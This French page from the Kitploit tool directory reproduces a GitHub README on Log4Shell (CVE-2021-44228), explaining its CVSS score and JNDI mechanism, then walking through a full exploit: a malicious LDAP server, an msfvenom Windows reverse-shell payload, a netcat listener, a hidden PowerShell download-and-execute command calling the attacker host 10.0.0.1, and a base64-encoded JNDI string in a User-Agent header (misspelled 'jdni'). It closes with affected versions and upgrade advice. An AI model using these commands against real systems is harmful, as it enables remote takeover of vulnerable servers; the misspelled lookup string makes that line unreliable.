Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228): Description, exploitation et atténuation | Kitploit
Outils/GitHubGitHub/zaneef/cve-2021-44228
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCommandement et ContrôleApprentissage et Éducation
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228): Description, exploitation et atténuation

Voir le dépôt
2il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-44228

Le 9 décembre 2021, le monde a découvert une nouvelle faille de sécurité concernant Log4J. Le score CVSSv3 (Common Vulnerability Scoring System) de la vulnérabilité a été évalué à 10, la rendant ainsi de niveau critique (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

Son vecteur CVSSv3 est le suivant : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Faisons un peu de lumière sur ces valeurs afin que la raison de cette évaluation soit pleinement comprise :

  • AV:N (Attack Vector: Network) : Le vecteur d'attaque est le réseau et, par conséquent, un éventuel dispositif vulnérable est exploitable à distance.
  • AC:L (Attack Complexity: Low) : La complexité de l'attaque est faible et donc réalisable même par un attaquant ayant peu de connaissances sur la vulnérabilité, sur son fonctionnement ou peu de compétences.
  • PR:N (Privileges Required: None) : Aucun privilège n'est nécessaire au sein du système.
  • UI:N (User Interaction: None) : Le système est vulnérable même sans aucune interaction de la part d'un utilisateur.
  • S:C (Scope: Changed)
  • C:H (Confidentiality: High) : La confidentialité des informations au sein de la machine est entièrement compromise. Cela entraîne une perte totale du secret des données et leur divulgation à l'attaquant.
  • I:H (Integrity: High) : L'intégrité des informations contenues dans la machine est entièrement compromise. Un attaquant peut modifier ou supprimer n'importe quel fichier.
  • A:H (Availability: High) : L'attaquant est capable de refuser complètement l'accès aux informations ou aux services de la machine.
  • Qu'est-ce que Log4J ?

    Log4J est une bibliothèque Java, désormais partie intégrante du projet Apache Software Foundation, qui permet de garder sous contrôle l'état d'une application.

    C'est le standard de facto pour la journalisation (logging) des applications Java.

    Comment cela fonctionne-t-il ?

    La vulnérabilité repose sur JNDI (Java Naming and Directory Interface) : une API Java qui permet à une application d'interagir avec un service d'annuaire externe (par exemple LDAP).

    L'interaction se fait via la fonctionnalité de lookup de JNDI qui, activée dans les configurations par défaut de Log4J, permet l'interaction avec un serveur distant.

    TCP Reverse Shell via l'exploitation de Log4J

    Quelques petites précisions utiles à la lecture :

    • L'IP de la machine de l'attaquant est 10.0.0.1
    • L'IP de la machine vulnérable à Log4Shell est 10.0.0.2
    • Le système d'exploitation de la machine vulnérable est Windows avec une architecture x86
    • La machine vulnérable exécute une application web sur le port 80 et est consultable à l'URL http://hackme.com
    ❗ ATTENTION ❗
    La technique d'attaque décrite ci-dessous ne doit servir qu'à comprendre la dangerosité effective de la vulnérabilité en question. L'auteur se dissocie et condamne toute utilisation inappropriée de l'article suivant.

    L'objectif de l'attaque suivante est d'exploiter Log4Shell afin de parvenir à télécharger et exécuter une reverse shell sur le système vulnérable, pour ainsi en prendre le contrôle total.

    1. Configuration de la machine de l'attaquant

    1. Téléchargeons le dépôt contenant le code nécessaire à l'initialisation d'un serveur LDAP malveillant
    root@kitploit:~
    wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
    unzip JNDIExploit.v1.2.zip
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
    
    1. Créons une reverse shell en TCP pour Windows via msfvenom afin de pouvoir recevoir, sur le port 8888, l'accès distant à la machine
    root@kitploit:~
    msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
    
    1. Initialisons un listener, via nc, sur le port 8888 pour recevoir la connexion de la reverse shell chargée sur la machine vulnérable
    root@kitploit:~
    nc -lvnp 8888
    
    1. Exécutons un serveur HTTP pour permettre le téléchargement du malware depuis la machine cible :
    root@kitploit:~
    python3 -m http.server 4444
    
    1. Grâce à la commande Powershell suivante, l'attaquant pourra se connecter à son propre serveur HTTP, télécharger le malware dans le répertoire C:\windows\temp et l'exécuter
    root@kitploit:~
    powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
    
    1. Encodons le payload précédent en base64 grâce à la commande suivante
    root@kitploit:~
    echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
    

    Le résultat de la commande précédente est le suivant :

    root@kitploit:~
    cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
    

    2. Exploit

    1. Supposons que l'application web journalise l'User-Agent d'un visiteur. L'attaquant envoie une requête similaire à :
    root@kitploit:~
    GET / HTTP/1.1
    Host: hackme.com
    User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
    
    1. La chaîne
    root@kitploit:~
    ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
    

    est transmise à Log4J qui l'interprète et, via JNDI, effectue la requête vers le serveur LDAP de l'attaquant

    root@kitploit:~
    ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
    
    1. Le malware est téléchargé puis exécuté.

    2. L'attaquant obtient une shell de la machine sur le port 8888.

    Suis-je vulnérable ?

    Tout d'abord, il convient de rappeler qu'il s'agit d'une vulnérabilité qui concerne UNIQUEMENT les logiciels utilisant Java ou un dérivé (et évidemment Log4J comme bibliothèque de journalisation).

    • 2.0-beta9 - 2.14.1 : Les versions vulnérables à Log4Shell vont de la 2.0-beta9 à la 2.14.1.
    • 2.15.0 : La version 2.15.0 de Log4J s'est révélée vulnérable. CVE-2021-45046. Actuellement, l'évaluation de la vulnérabilité est "9.0 Critiques".
    • 2.16.0 : La version 2.16.0 de Log4J s'est révélée vulnérable. CVE-2021-45105. Actuellement, l'évaluation de la vulnérabilité est "7.5 Élevée".

    La version 1.x de Log4J n'est pas strictement vulnérable à la faille de sécurité de référence mais, en plus d'avoir été abandonnée en 2015, elle est affectée par la vulnérabilité suivante : CVE-2021-4104.

    Comment puis-je y remédier ?

    La meilleure solution est de mettre à jour Log4J vers la version 2.17.0.

    Télécharger l’outil